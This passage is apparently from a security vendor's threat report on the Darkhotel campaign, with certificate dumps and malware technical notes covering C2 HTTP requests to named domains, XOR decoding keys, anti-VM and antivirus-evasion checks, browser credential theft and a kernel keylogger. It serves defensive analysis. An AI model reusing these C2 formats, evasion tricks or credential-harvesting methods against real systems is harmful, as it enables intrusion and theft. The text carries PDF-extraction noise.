I08A0/fd6DC2W4SJIzA5BgNVHR8EMjAwMC6gLKAqhihodHRwOi8vY3JsLmdsb2Jh bHNpZ24ubmV0L3N1cmVzZXJ2ZXIuY3JsMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcN AQEFBQADggEBABFuFUSw0amYYSfA8iisUHDmYyXydexNMP4KNO13VErUUw9g1kWK cG9fyMK9jU1r4vTWQ8w0/q26tuzLiGgNOLqZuRhzyR0Fl16VQ8WSqQD2L02MUQm7 InS0njSW2ZyC0vssvgwpTVBfpTwa1TjK2XR6gcUReaRNxiOBFCvTsUYYtsDiSpe2 B8PXtndR2U8FIUW7sHxPvG72cmIiKBywBnACK8URttDD4M7Xgf/Wx5cDnYdotzrE Uxi/zOSzf/xrg7E1BMHu6kLVv8JX/xijzlKkLJIqb7aYYkWYlnaQgDK5jP6TqIbp UGKaphFSHYFn3ITt2OQ9obcPhf2xS29/jw END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 71:a9:60:1f:3d:87:46:30:9b:bf:5e:cf:28:24:8 b:fe 52 TLP: Green For any inquiries, please contact intelreportskaspersky.com Signature Algorithm: sha1WithRSAEncryption Issuer: CUS, OVeriSign, Inc., OUVeriSign Trust Network, OUTerms of use at https://www.verisign.com/rpa (c)09, CNVeriSign Class 3 Secure OFX CA G3 Validity Not Before: Oct 26 00:00:00 2009 GMT Not After : Oct 26 23:59:59 2010 GMT Subject: CUS, STMissouri, LBridgeton, OVantage Credit Union, OUIT Department, CNsecure2.eecu.com Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:be:6e:4a:59:2e:33:40:79:33:79:d9:9b:34:68: a6:74:f1:7f:02:d1:ac:91:21:5a:e1:bf:34:03:62: 33:0d:bb:bc:0a:29:ec:9c:fd:ea:16:ac:9d:e3:1b: 6f:7d:c7:68:ef:ee:04:03:6f:83:23:cd:1e:82:bb: ab:24:6d:22:7f Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:FALSE X509v3 Key Usage: Digital Signature, Key Encipherment X509v3 CRL Distribution Points: Full Name: URI:http://ofxG3crl.verisign.com/OFXG3.crl Authority Information Access: OCSP URI: http://ocsp.verisign.com CA Issuers URI: http://ofxG3aia.verisign.com/OFXG3.cer X509v3 Certificate Policies: Policy: 2.16.840.1.113733.1.7.23.3 CPS: https://www.verisign.com/rpa 2.16.840.1.113733.1.6.7: . 74cb5e68cb6fa8877cc86c25d1d7ce05 Signature Algorithm: sha1WithRSAEncryption 19:35:da:ac:91:36:a2:6c:7e:a0:96:75:9c:23:e1:e2:c3:f5: 9e:76:6d:42:6e:3a:2f:c6:23:79:ed:33:7b:c4:d4:a3:58:c3: 53 TLP: Green For any inquiries, please contact intelreportskaspersky.com f3:30:e2:69:4e:f9:01:89:41:f7:6a:dd:03:1f:6a:c9:e3:c9: ab:68:9f:6c:f6:67:31:76:32:e6:75:7b:e5:3a:31:3c:91:7e: e2:a0:94:18:ef:c9:75:d8:b2:28:bf:ed:8c:e4:69:0b:a6:95: aa:7c:3c:41:07:0e:fb:80:35:54:4c:3b:c8:c3:ac:2b:c2:86: c5:a8:61:20:38:22:e9:9c:23:82:d7:e3:80:ee:f1:aa:c6:cd: 27:42:d2:3f:9a:83:66:db:41:66:ee:e7:4a:f9:75:c0:bd:e6: 6c:dd:0e:e2:e5:34:8d:79:2c:cc:cb:79:1b:b0:46:08:ed:18: ce:38:65:b5:f0:87:fc:23:12:fe:9f:03:d3:0b:5b:0e:e8:9d: b5:c3:b7:36:f3:b9:42:4c:c4:64:5b:5f:d4:68:ec:40:de:a3: 29:92:8a:a9:75:78:8a:bb:07:e4:49:c4:80:5e:94:c5:6c:7a: 50:a5:7d:90:18:6b:0d:49:69:f9:93:d6:5b:24:82:a7:85:ee: d8:f4:fe:6e:f5:81:0c:e2:de:5c:44:c2:f6:67:ee:e3:f0:8c: 07:ff:34:90 BEGIN CERTIFICATE MIIEOzCCAyOgAwIBAgIQcalgHz2HRjCbv17PKCSL/jANBgkqhkiG9w0BAQUFADCB sjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQL ExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTswOQYDVQQLEzJUZXJtcyBvZiB1c2Ug YXQgaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL3JwYSAoYykwOTEsMCoGA1UEAxMj VmVyaVNpZ24gQ2xhc3MgMyBTZWN1cmUgT0ZYIENBIC0gRzMwHhcNMDkxMDI2MDAw MDAwWhcNMTAxMDI2MjM1OTU5WjCBhjELMAkGA1UEBhMCVVMxETAPBgNVBAgTCE1p c3NvdXJpMRIwEAYDVQQHFAlCcmlkZ2V0b24xHTAbBgNVBAoUFFZhbnRhZ2UgQ3Jl ZGl0IFVuaW9uMRYwFAYDVQQLFA1JVCBEZXBhcnRtZW50MRkwFwYDVQQDFBBzZWN1 cmUyLmVlY3UuY29tMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL5uSlkuM0B5M3nZ mzRopnTxfwLRrJEhWuG/NANiMw27vAop7Jz96hasneMbb33HaO/uBANvgyPNHoK7 qyRtIn8CAwEAAaOCAT0wggE5MAkGA1UdEwQCMAAwCwYDVR0PBAQDAgWgMDoGA1Ud HwQzMDEwL6AtoCuGKWh0dHA6Ly9vZngtRzMtY3JsLnZlcmlzaWduLmNvbS9PRlgt RzMuY3JsMGsGCCsGAQUFBwEBBF8wXTAkBggrBgEFBQcwAYYYaHR0cDovL29jc3Au dmVyaXNpZ24uY29tMDUGCCsGAQUFBzAChilodHRwOi8vb2Z4LUczLWFpYS52ZXJp c2lnbi5jb20vT0ZYLUczLmNlcjBEBgNVHSAEPTA7MDkGC2CGSAGGEUBBxcDMCow KAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9ycGEwMAYKYIZI AYb4RQEGBwQiFiA3NGNiNWU2OGNiNmZhODg3N2NjODZjMjVkMWQ3Y2UwNTANBgkq hkiG9w0BAQUFAAOCAQEAGTXarJE2omxoJZ1nCPh4sP1nnZtQm46L8Yjee0ze8TU o1jD8zDiaU75AYlB92rdAx9qyePJq2ifbPZnMXYy5nV75ToxPJF4qCUGO/Jddiy KL/tjORpC6aVqnw8QQcO4A1VEw7yMOsK8KGxahhIDgi6ZwjgtfjgO7xqsbNJ0LS P5qDZttBZu7nSvl1wL3mbN0O4uU0jXkszMt5G7BGCO0YzjhltfCH/CMS/p8D0wtb DuidtcO3NvO5QkzEZFtf1GjsQN6jKZKKqXV4irsH5EnEgF6UxWx6UKV9kBhrDUlp ZPWWySCp4Xu2PTbvWBDOLeXETC9mfu4/CMB/80kA END CERTIFICATE Certificate: 54 TLP: Green For any inquiries, please contact intelreportskaspersky.com Data: Version: 3 (0x2) Serial Number: (Negative)0a:40:06:6d:24:7d:41:54:b2:c3:e9:e2 :a4:57:97:59 Signature Algorithm: md5WithRSAEncryption Issuer: CNRoot Agency Validity Not Before: Jun 9 10:31:21 2009 GMT Not After : Dec 31 23:59:59 2039 GMT Subject: CNMicrosoft Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (1024 bit) Modulus: 00:cd:25:d3:98:06:2d:91:f1:ad:d7:17:32:66:0a: d6:25:a0:7f:ff:2e:6c:68:95:f9:92:09:a0:63:a5: 80:54:22:e6:92:13:b8:67:05:3f:80:69:34:07:e4: c3:00:bc:86:f3:51:64:22:d7:ab:07:be:e5:f7:e7: 97:b3:3d:9f:fc:10:b0:52:e7:d1:62:40:2a:18:83: b6:4d:62:e6:f5:9f:fe:16:5e:41:d7:2b:af:54:a7: 8e:af:a9:08:df:39:b2:cb:cf:bf:52:c3:bf:04:8f: a0:c0:16:89:ce:06:df:6e:d9:26:8a:a7:01:f8:9b: 23:35:3b:4c:96:6d:4a:10:41 Exponent: 65537 (0x10001) X509v3 extensions: 2.5.29.1: 0........ O..a..dc..0.1.0...U....Root Agency...7l...d......\5. Signature Algorithm: md5WithRSAEncryption 1a:0c:28:45:f5:5e:b1:a9:04:3a:30:7a:0b:e2:dd:f2:7c:89: 22:ac:17:b5:f3:87:6f:e4:09:9e:55:73:f9:11:7b:11:d2:d7: 26:08:03:47:6f:6b:b5:1d:24:04:50:d4:cb:91:99:ac:13:72: 16:32:05:be:7e:1a:79:29:19:5e BEGIN CERTIFICATE MIIBuTCCAWOgAwIBAgIQ9b/5ktuCvqtNPBYdW6hopzANBgkqhkiG9w0BAQQFADAW MRQwEgYDVQQDEwtSb290IEFnZW5jeTAeFw0wOTA2MDkxMDMxMjFaFw0zOTEyMzEy MzU5NTlaMBQxEjAQBgNVBAMTCU1pY3Jvc29mdDCBnzANBgkqhkiG9w0BAQEFAAOB jQAwgYkCgYEAzSXTmAYtkfGt1xcyZgrWJaB//y5saJX5kgmgY6WAVCLmkhO4ZwU/ 55 TLP: Green For any inquiries, please contact intelreportskaspersky.com gGk0BTDALyG81FkIterB77l9eXsz2f/BCwUufRYkAqGIO2TWLm9Z/Fl5B1yuv VKeOr6kI3zmyy8/UsO/BIgwBaJzgbfbtkmiqcBJsjNTtMlm1KEEECAwEAAaNL MEkwRwYDVR0BBEAwPoAQEuQJLQYdHU8AjWEh3BZkY6EYMBYxFDASBgNVBAMTC1Jv b3QgQWdlbmN5ghAGN2wAqgBkihHPuNSqXDX0MA0GCSqGSIb3DQEBBAUAA0EAGgwo RfVesakEOjB6CLd8nyJIqwXtfOHbQJnlVzRF7EdLXJggDR29rtR0kBFDUy5GZ rBNyFjIFvn4aeSkZXg END CERTIFICATE Certificate: Data: Version: 3 (0x2) Serial Number: 01:00:00:00:00:01:1f:71:31:72:c9 Signature Algorithm: sha1WithRSAEncryption Issuer: OGlobalSign Inc, CNCybertrust SureServer CA Validity Not Before: Feb 13 19:00:51 2009 GMT Not After : Feb 13 19:00:51 2011 GMT Subject: CNinpack.syniverse.com, CUS/emailAddressbelinda.jablonskisyniverse.com, LTampa , OSyniverse Technologies Inc., OUCrossroads, STFlorida Subject Public Key Info: Public Key Algorithm: rsaEncryption PublicKey: (512 bit) Modulus: 00:a5:13:53:17:02:f7:cd:33:64:7d:e8:27:8f:e9: bc:ab:db:96:3b:41:0d:b6:c4:2a:10:d5:64:58:87: ac:62:de:09:2e:c5:5f:79:c5:d5:9e:26:9b:1a:9a: e3:99:3b:e2:2e:48:7e:9c:5f:74:c9:34:09:b3:a5: 40:7f:bb:e9:35 Exponent: 65537 (0x10001) X509v3 extensions: Netscape Cert Type: SSL Client, SSL Server X509v3 Key Usage: critical Digital Signature, Non Repudiation, Key Encipherment, Data Encipherment X509v3 Authority Key Identifier: keyid:2B:37:53:93:64:47:66:23:4F:00:D3:F7:DD:E8:30:B 6:5B:84:89:23 X509v3 CRL Distribution Points: Full Name: 56 TLP: Green For any inquiries, please contact intelreportskaspersky.com URI:http://crl.globalsign.net/sureserver.crl X509v3 Basic Constraints: critical CA:FALSE Signature Algorithm: sha1WithRSAEncryption 95:2a:42:59:bd:18:1a:ec:20:e9:96:0d:7f:f2:bc:4e:79:8a: 44:21:a4:d7:46:03:94:a8:ec:d0:28:29:07:d0:f5:bc:91:c5: 21:34:16:dd:87:ee:dc:6a:d4:e7:f4:d4:f9:a6:04:bb:60:53: 2b:14:19:8a:2c:2e:1f:6a:8f:97:22:d6:f4:e5:44:06:c2:22: ee:cf:b2:19:67:fa:40:0f:9c:cf:58:7f:53:21:af:c0:02:ad: d8:7c:19:3c:f3:52:f4:10:30:f0:61:24:a9:9d:18:01:a3:f5: c9:29:ab:65:66:ef:a5:2d:cd:53:e2:44:09:ea:8d:4c:bc:ef: 1a:b6:2c:7b:df:16:39:94:8b:33:cb:14:16:c2:93:42:6c:4d: 18:99:ba:7b:fa:91:74:f0:9a:1e:ae:92:b4:94:43:bb:96:ba: 7e:6a:df:38:9c:2e:7c:11:37:37:4c:20:80:5d:6b:e2:94:41: 98:7d:cc:26:ca:cc:4f:81:4d:95:16:bb:26:db:1f:fe:03:fc: a2:50:9c:49:0b:45:7c:86:fc:5c:a6:31:34:f2:08:f1:03:16: 10:e0:90:0c:e7:02:4e:95:f5:e8:32:03:a3:fb:78:17:dc:23: bf:b4:59:e6:6f:91:1c:38:cd:b7:9e:48:a0:6b:68:98:00:e3: 33:48:18:ae BEGIN CERTIFICATE MIIDRDCCAiygAwIBAgILAQAAAAABH3ExcskwDQYJKoZIhvcNAQEFBQAwPDEXMBUG A1UEChMOR2xvYmFsU2lnbiBJbmMxITAfBgNVBAMTGEN5YmVydHJ1c3QgU3VyZVNl cnZlciBDQTAeFw0wOTAyMTMxOTAwNTFaFw0xMTAyMTMxOTAwNTFaMIG5MR0wGwYD VQQDExRpbnBhY2suc3luaXZlcnNlLmNvbTELMAkGA1UEBhMCVVMxLjAsBgkqhkiG 9w0BCQEWH2JlbGluZGEuamFibG9uc2tpQHN5bml2ZXJzZS5jb20xDjAMBgNVBAcT BVRhbXBhMSQwIgYDVQQKExtTeW5pdmVyc2UgVGVjaG5vbG9naWVzIEluYy4xEzAR BgNVBAsTCkNyb3Nzcm9hZHMxEDAOBgNVBAgTB0Zsb3JpZGEwXDANBgkqhkiG9w0B AQEFAANLADBIAkEApRNTFwL3zTNkfegnjm8q9uWO0ENtsQqENVkWIesYt4JLsVf ecXVniabGprjmTviLkhnF90yTQJs6VAf7vpNQIDAQABo4GQMIGNMBEGCWCGSAGG EIBAQQEAwIGwDAOBgNVHQ8BAf8EBAMCBPAwHwYDVR0jBBgwFoAUKzdTk2RHZiNP ANP33egwtluEiSMwOQYDVR0fBDIwMDAuoCygKoYoaHR0cDovL2NybC5nbG9iYWxz aWduLm5ldC9zdXJlc2VydmVyLmNybDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEB BQUAA4IBAQCVKkJZvRga7CDplg1/8rxOeYpEIaTXRgOUqOzQKCkH0PW8kcUhNBbd h7catTn9NT5pgS7YFMrFBmKLC4faoXItb05UQGwiLuz7IZZ/pAD5zPWH9TIa/A Aq3YfBk881L0EDDwYSSpnRgBo/XJKatlZulLc1T4kQJ6o1MvO8atix73xY5lIsz 57 TLP: Green For any inquiries, please contact intelreportskaspersky.com yxQWwpNCbE0Ymbp7pF08JoerpK0lEO7lrpat84nC58ETc3TCCAXWvilEGYfcwm ysxPgU2VFrsm2x/A/yiUJxJC0V8hvxcpjE08gjxAxYQ4JAM5wJOlfXoMgOj3gX 3CO/tFnmb5EcOM23nkiga2iYAOMzSBiu END CERTIFICATE 58 TLP: Green For any inquiries, please contact intelreportskaspersky.com appendix d. malcode technical notes small downloader Filename MD5 Link Time (UTC) Linker msieckc.exe 41b816289a6a639f7f2a72b6c9e6a695 2012.04.11 18:31:48 6.0 technical details to ensure only single instance of the module is running, the module verifies if system mutex named 132df6e exists. If it exists the module exits, if not the module creates one. the module implements a method to resist running in virtual environment. It gets cpU name and identifier from the registry at HKLm\HardWare\descrIptIon\ system\centralprocessor\0 and collects Ip and mac addresses of local network adapters. after that it compiles a string describing the system in the following format: c p U : cpUnamebr net card : Ip (macaddr)br.
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next it checks if this string contains one of the following substrings: VmWare QemU 192.168.100.
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data/reports_final/0296.txt
next it checks if this string contains one of the following substrings: VmWare QemU 192.168.100. If any of these strings is found, the module terminates. after that, there is a hardcoded value of 10, which delays further execution of the module for 10 seconds. then the module attempts to delete some other, prob- ably older, components which might be present on the system. the list of deleted files includes the following: appdata\microsoft\crypto\des64v7\dtlcntr.exe appdata\microsoft\crypto\des64v7\googletoolbar.exe appdata\microsoft\crypto\des64v7\active.dll appdata\microsoft\crypto\des64v7\detect.dll the next is step is to check if current directory has a file named U. If not, the module proceeds with network communication routine. But if this file is found it does some additional checks. If U file is older than 180 days, the module wipes 59 TLP: Green For any inquiries, please contact intelreportskaspersky.com the file. If not, it triggers a special variable that makes module dormant and dis- ables further communication with cc server. after all, if the module is ready and allowed to communicate with cc server it does that in the following manner. 1. the module connects to autolace.twilightparadox.com (or automachine. servequake.com) and issues a Http Get request with hardcoded User agent string: Get /major/images/view.php Http/1.1 User agent: mozilla/4.0 (compatible msIe 8.0 Windows nt 6.1 trident/4.0 sLcc2 .net cLr 2.0.50727 .net cLr 3.5.30729 .net cLr 3.0.30729 media center pc 6.0) Host: autolace.twilightparadox.com connection: Keep alive cache control: no cache the server response should contain deXt87 string which is used to rec- ognize valid response. the malware locates deXt87 and reads the data appended to it. the appended data should be an Ip address in plaintext. this is used a real cc Ip address. reading stops when non digit or dot symbol is found. Here is an example of shortest possible valid server response: Http/1.1 200 oK content Length: 17 deXt87192.168.1.1 2. If the real cc Ip address is not valid the module may try to send identical request again but using a different Http path: /major/images/read.php If the cc Ip address is valid, the module issues another Http request: Get /major/txt/read.php Http/1.1 User agent: mozilla/4.0 (compatible msIe 8.0 Windows nt 6.1 trident/4.0 sLcc2 .net cLr 2.0.50727 .net cLr 3.5.30729 .net cLr 3.0.30729 media cen- ter pc 6.0) Host: autolace.twilightparadox.com connection: Keep alive cache control: no cache the server response can be one of the following: a. deXt87no b. deXt87updatasIZedata 60 TLP: Green For any inquiries, please contact intelreportskaspersky.com Where datasIZe is a decimal integer that represents length of data field in bytes data is a binary data separated from datasIZe field by semicolon. please note, that after receiving data, it is Xored with byte value 0x55 and saved to a disk in a file named ctfmon.exe (current directory is used). Upon successful receiving of the file it is started in a new process. Information stealer Filename MD5 Link Time (UTC) Linker dmaUp3.exe 864cd4a59215a7db2740dfbe4a648053 2012.04.30 00:25:59 6.0 this module is relatively large (455Kb) and comes as a part of Winrar sfX file that drops and starts the module from appdata\microsoft\display\dmaUp3. exe. the main purpose of the module is to collect various secrets stored on a local system. this module is designed not to run on Windows with system default codepage set to Korean. technical details from the very beginning this module checks if bdagent.exe process is running on current system. Bdagent.exe is a name for Bitdefender antivirus component. If it is running, it uses simple aV heuristics evasion technique. the code starts a thread that simulates keystrokes of esc keyboard key and then shows a system modal message box. pushing esc key closes the modal message box. right after that keystroke generation thread is terminated and the module continues normal execution as if bdagent.exe was not running. next the module makes sure only one instance of current code is running by checking if system mutex object named 920111215 exists. after that, the mod- ule collects information about current system which includes the following: network adapter mac address cpU name and Identifier system default codepage Windows os and service pack versions Hostname and Ip address Local user name cached passwords from Internet explorer 6/7/8/9 (protected storage and Intelliforms) 61 TLP: Green For any inquiries, please contact intelreportskaspersky.com mozilla firefox stored secrets (12.0) chrome stored secrets ms outlook express accounts ms Windows mail accounts ms Windows Live mail accounts ms outlook accounts (smtp/Imap/pop3/Http) msn messenger Gmail notifier credentials Google desktop accounts Google talk accounts If the module reveals that current system default codepage is 0412 (Korean) it terminates. there is one interesting specifics in microsoft Intelliforms which reveals attack- ers interests. Intelliforms technology keeps login/password information in the registry in encrypted form. However, there is no clear information about the corre- sponding website which requires given login and password. the only information Intelliforms offers about the place where given login/password should be used is a hash of the webpage UrL. so far, the attackers can steal logins and pass- words but to understand where they are from they must guess the string which produced given hash. they have implemented this logics in the malware. When Intelliforms information is stolen the malware tries to check the list of known login page UrLs to recover the originating webpage address. Here is the list of UrLs that are checked by the malware: 62 TLP: Green For any inquiries, please contact intelreportskaspersky.com the list of targeted services includes some local services specifically popular in: United states russia china Japan middle eastern countries India the module uses several simple Xor based algorithms to encrypt embedded string data.
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string encryption/decryption functions use the following keys: Microsoft Corporation.
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data/reports_final/0297.txt
string encryption/decryption functions use the following keys: Microsoft Corporation. All rights reserved. 90ed768ab728a0f74a4b957c31f1a213 63 TLP: Green For any inquiries, please contact intelreportskaspersky.com the module works with all firefox versions prior to Mozilla Firefox 12.0. depend- ing on version of firefox, it can read firefox database directly to dump stored se- crets or utilize one firefox libraries to access the configuration data. In addition it makes use of the following mozilla firefox libraries depending on firefox version: nss3.dll plc4.dll mozcrt19.dll mozutils.dll mozglue.dll mozsqlite3.dll sqlite3.dll nspr4.dll plds4.dll nssutil3.dll softokn3.dll When stealing secrets from firefox and chrome it uses built in sQLite library code. the module is linked with SQLite version 3.7.5 release candidate 2, release hash ed759d5a9edb3bba5f48f243df47be29e3fe8cd7 dated as 2011 01 28 17:03:50. after stealing secrets from local system the malware executes some kind of embedded script. It is logging all actions to inform the operator what exactly was executed by this variant of the malware. the result of this execution is appended to the stolen data and uploaded to the cc server. the module uploads all collected information to one of the following UrLs via post request: Its the first time we see .pn domain used in malware. this top level country code domain is quite exotic and is assigned to pitcairn Islands, which is overseas ter- ritory of the United Kingdom in the pacific. as of 2013 estimated population of pitcairn Islands is only 56 people. an official .pn domain costs 100/year from the registry, however .eu.pn domains seem to be given away for free. 64 TLP: Green For any inquiries, please contact intelreportskaspersky.com the malware uses fixed User agent string: Mozilla/4.0 (compatible MSIE 8.0 Windows NT 6.1 Trident/4.0 SLCC2 .NETCLR 2.0.50727 .NET CLR 3.5.30729 .NET CLR 3.0.30729 Media Cen- ter PC 6.0) the data is uploaded as a post request binary in the following format: UserIdUniqueMachineIdEncryptionKeyGeneralSysInfo where UserId is hardcoded identifier (i.e. user2 in current sample) UniquemachineId is a 32 characters long hex string which derived from net- work card mac address encryptionKey is symmetrical encryption key used to encrypt UserId and GeneralsysInfo values. the malware uses text protocol, which is why potentially binary values of UserId and GeneralsysInfo are ad- ditionally encoded using Base64 algorithm. GeneralsysInfo field contains only basic information about the system, i.e. : Info SysUser : MYCOMPUTERMyUser (0850) C P U : Intel(R) Core(TM) i3 1667U CPU 1600GHz System OS: Microsoft Windows XP (Service Pack 3) Net card : 192.168.0.2 (133773311337) If the server reply contains a keyword minmei it continues sending additional in- formation. Minmei may be a reference to a popular Japanese anime and manga known as The Super Dimension Fortress Macross. a quote from Wikipedia: Born in Yokohama chinatown, Japan (though she is of partial chinese descent) as Linn minmei, minmay moved in with her uncle shaochin () and aunt feic- hun () on south ataria Island in hopes of finding the path to fulfill her dream of becoming a star. trojan. Win32.Karba.e Filename MD5 Link Time (UTC) Linker acroedit.exe 0fe3daf9e8b69255e592c8af97d24649 2013.10.29 00:21:48 6.0 technical notes the trojan iterates through running processes and looks for security software basing on executable filenames from the list below. If the process is found it keeps a record of the software name using short aV Identifier string from the fol- lowing table of rules 65 TLP: Green For any inquiries, please contact intelreportskaspersky.com Process Name AV Identifier Company Name, Country ekrn.exe nod eset, czech republic nVcagent.npc nV naver nHn, Vietnam 360tray.exe 36 Qihoo 360, china msseces.exe ms microsoft, Usa uiWinmgr.exe tr trendmicro, Japan avastsvc.exe ast avast, czech republic rsmgrsvr.exe rs rising, china mcagent.exe mc mcafee, Usa avgidsagent.exe aV aVG, czech republic ccsvchst.exe nt symantec, Usa bdagent.exe Bd Bitdefender, romania avp.exe Ks Kaspersky, russia V3Ltray.exe V ahnLab, south Korea aYagent.aye aY estsoft, south Korea the malware uses a trick to evade running on a Vmware. first, it checks if cur- rent process is running in WoW64 environment. If yes it does additional port I/o specific to VmWare virtual machine (the Vmware hypervisor port: 0x5658 Vmware hypervisor magic value: 0x564d5868). another method to detect Vm en- vironment is to check local network adapters Ip address. If it belongs to subnet 192.168.100. then the malware believes its running in a Vm. If Vm is detected the process instantly terminates. next the malware submits collected information to the cc server using Http Get request and the following UrL format: http://c2domaIn/bin/read_i.php 66 TLP: Green For any inquiries, please contact intelreportskaspersky.com ? a1stepIda2HostIda3sYsInfoa4 aVsoftId, where c2domaIn is one of the following cc domains: micronaoko.jumpingcrab.com microchsse.strangled.net microbrownys.strangled.net microplants.strangled.net microlilics.crabdance.com stepId is special text string indicating stage of malware operation. this string varies depending on the local system language and may be one of the following: step2-down-k for codepage 0412 (Korean) step2-down-j for codepage 0411 (Japanese) step2-down-u for codepage 0409 (english,Us) step2-down-r for codepage 0419 (russian) step2-down-c for codepage 0804 (chinese) step2-down-b for codepage 0409 (english,Us) step2-down for other codepages HostId is a special value generated from local network card mac address sYsInfo is a string with general system information (please see description above) 67 TLP: Green For any inquiries, please contact intelreportskaspersky.com aVsoftId is a string that contains indexes of aV software names in internal table of aV Identifiers (please see the table above). selective Infector technical notes Igfxext.exe can download a file and drop it to appdata\microsoft\dis- play\ctfmon.exe (md5 e8bfb82b0dd5cef46116d61f62c25060). after execution, the downloaded file drops SMAGENT.EXE (md5 0306f9ae- 7786570139f78e78bc940597) to appdata\mIcrosoft\dIspLaY and ex- ecutes it. this component is a virus, and is used to selectively infiltrate into other computers via UsB or network shares. trojan-dropper Injector (infected legitimate files) technical notes a large number of files are detected by Kaspersky Lab scanners as Virus. Win32. pioneer.dx. these files are all legitimate files that have been infected by another darkhotel component. all of these infected files drop a 63kb self injecting compo- nent. Filename MD5 Link Time (UTC) Linker igfxext.exe fcd2458376398b0be09eaa34f4f4d091 2012:07:27 17:10:30 6.0 this malware is 63kb in size. It is bound to a variety of other software packages that vary in name, but the host package is consistently detected as Virus. Win32. pioneer.dx. the igfxext.exe component is dropped to disk and run. It spawns an- other suspended process with its own igfxext.exe image, but decrypts a smaller 32kb executable (cf1319d94f33380622ba000b7d8ad6e9,trojan downloader. Win32.agent.xwge) from its .data section in memory with a simple xor 0xbb. the running process overwrites the igfxext.exe image in the suspended process with this smaller chunk of code. It then resumes the thread in the new process. this smaller code section maintains similar functionality to the worm compo- nent: BasIcapI window creation and update VmWare detection/red pill aV check 68 TLP: Green For any inquiries, please contact intelreportskaspersky.com dmaup3.exe checks proto.dat check system information collection, encryption with ab911001f78ad31552e47205ecc46466 key and transfer to c2 Host package files detected as Virus. Win32.pioneer.dx are infected legitimate files, that do not have any self propagation routines. enhanced Keyloggers and development technical notes It is signed with the familiar digital certificate. 77669d11c3248a6553d3c15cd1d8a60e csmrs.exe, 478.8kb, compliedon:2010 11 11 08:46:47 signed by certificate. this sample is started by code running within svchost.exe on WinXp sp3. It drops a keylogger. the debug path inside: d:\KerKey\KerKey()\KerKey\release\KerKey.pdb note means General in Korean the dropper above maintains, drops and installs this kernel mode keylogger: md5: 86b18e99072ba72d5d36bce9a00fc052 filename: ndiskpro.sys size: 295kb compiledon:2009 11 24 11:56:22 Likely, it was developed as a part of a mid to late 2009 project: e:\project\2009\x\total_source\32bit\ndiskpro\src\ioman.c Keylogger code this driver package is built to look like a legitimate low level microsoft system device. It is installed as a system kernel driver ndiskpro service, described as a microcode Update device. It is somewhat surprising that there is no rootkit functionality hiding this service: 69 TLP: Green For any inquiries, please contact intelreportskaspersky.com When loaded, the ndIsKpro.sYs driver hooks both Int 0x01 and Int 0xff, and retrieves keystroke data directly from port 0x60, the motherboard keyboard con- troller itself. Here we see the local port variables assigned values and here, the ports are directly being read with read_port_UcHar(0x64) and then read_port_UcHar(0x60): It buffers, then communicates the data to the running user mode component. this component then encrypts and writes the retrieved values ondisk to a ran- 70 TLP: Green For any inquiries, please contact intelreportskaspersky.com domly named .tmp, file like ffffz07131101.tmp. this file is located in the same directory as the original dropper, which maintains persistence across reboots with a simple addition to the HKcU run key. Here is debug output demonstrating this components data retrieval when the letter d is repeatedly pressed on the keyboard. Keyscan make and break codes are 0x20 and 0xa0 and for the key press and key release for the d key. the 0x1d value from port 0x64 that you see below is basically an indication that the output buffer is full and the keyboard is locked, so it is safe for the driver to access the key value in port 0x60: 0x60 port access, data 0x20 0x64 port access, data 0x1d 0x64 port access, data 0x1d 0x60 port access, data 0xa0 0x64 port access, data 0x1d 0x64 port access, data 0x1d 0x60 port access, data 0x20 0x64 port access, data 0x1d 0x64 port access, data 0x1d 0x60 port access, data 0xa0 0x64 port access, data 0x1d 0x64 port access, data 0x1d 71 TLP: Green For any inquiries, please contact intelreportskaspersky.com 0x60 port access, data 0x20 0x64 port access, data 0x1d 0x64 port access, data 0x1d 0x60 port access, data 0xa0 0x64 port access, data 0x1d 0x64 port access, data 0x1d 0x60 port access, data 0x20 [output deviceobject 0x0, bIsHidKbd 0x0 dr0 0x60, dr1 0x64, dr2 0xf7190410, dr3 0x0, dr6 0xffff2ff0, dr7 0x22073f current Isr, Highaddress 0xf718, Lowaddress 0xf330, flag 0xee oldcr4 0x6f9 olddr7 0x22073f these debug messages and code style are duplicates of what chpie posted in the past. this keylogger module encrypts and stores gathered data in a log file, as men- tioned previously. Its encryption algorithm is similar to rc4. Interesting part is that the module randomly generates the key and stores it in an unexpected place: in the middle of the log file name. Hence, the numeric part of the filename is used as a seed for the pseudorandom number generator. rand function is statically linked to insure same results on different computers. Here is the commented rc4 encryption code: 72 TLP: Green For any inquiries, please contact intelreportskaspersky.com 73 TLP: Green For any inquiries, please contact intelreportskaspersky.com appendix e. parallel and previous research Getting Left of Boom: How threatconnect enables proactive cybersecurity, threatconnect february 2014 http://www.threatconnect.com/news/getting-leftof-boom-threatconnect-en- ables-proactive-cybersecurity/ nevermind nenims hidden agenda we still caught it, microsoft mmpc, april 2013 http://blogs.technet.com/b/mmpc/archive/2013/04/14/nevermind-nenim-s- hidden-agenda-we-still-caught-it.aspx rsa 512 certificates abused in the wild, fox It november 2011 http://blog.fox-it.com/2011/11/21/rsa-512-certificates-abused-in-the-wild/ dec 21 cVe 2009 0556 (corrected cVe) christmas messages.pps with stolen cert from syniverse from nicholas.bennett53hotmail.com, contagio, december 2010 http://contagiodump.blogspot.ro/2010/12/dec-21-cve-2010-2572-christmas.html cVe 2010 2883 adobe 0 day david Leadbetters one point Lesson from 193.106.85.61 thomasbennett34yahoo.com, contagio, sept 2010 http://contagiodump.blogspot.ro/2010/12/dec-21-cve-2010-2572-christmas. html apr 26 cVe 2010 0188 pdf north Korea policy piece from (fake) walterkeats yahoo.com, contagio, april 2010 http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point- lesson.html mar 27 cVe 2010 0806 Ie 0 day dozens missing after ship sinks near north Korea from kevin.bohn33hotmail.com, contagio march 2010 http://contagiodump.blogspot.com/2010/04/apr-28-cve-2010-0188-pdf- north-korea.html threat outbreak alert: 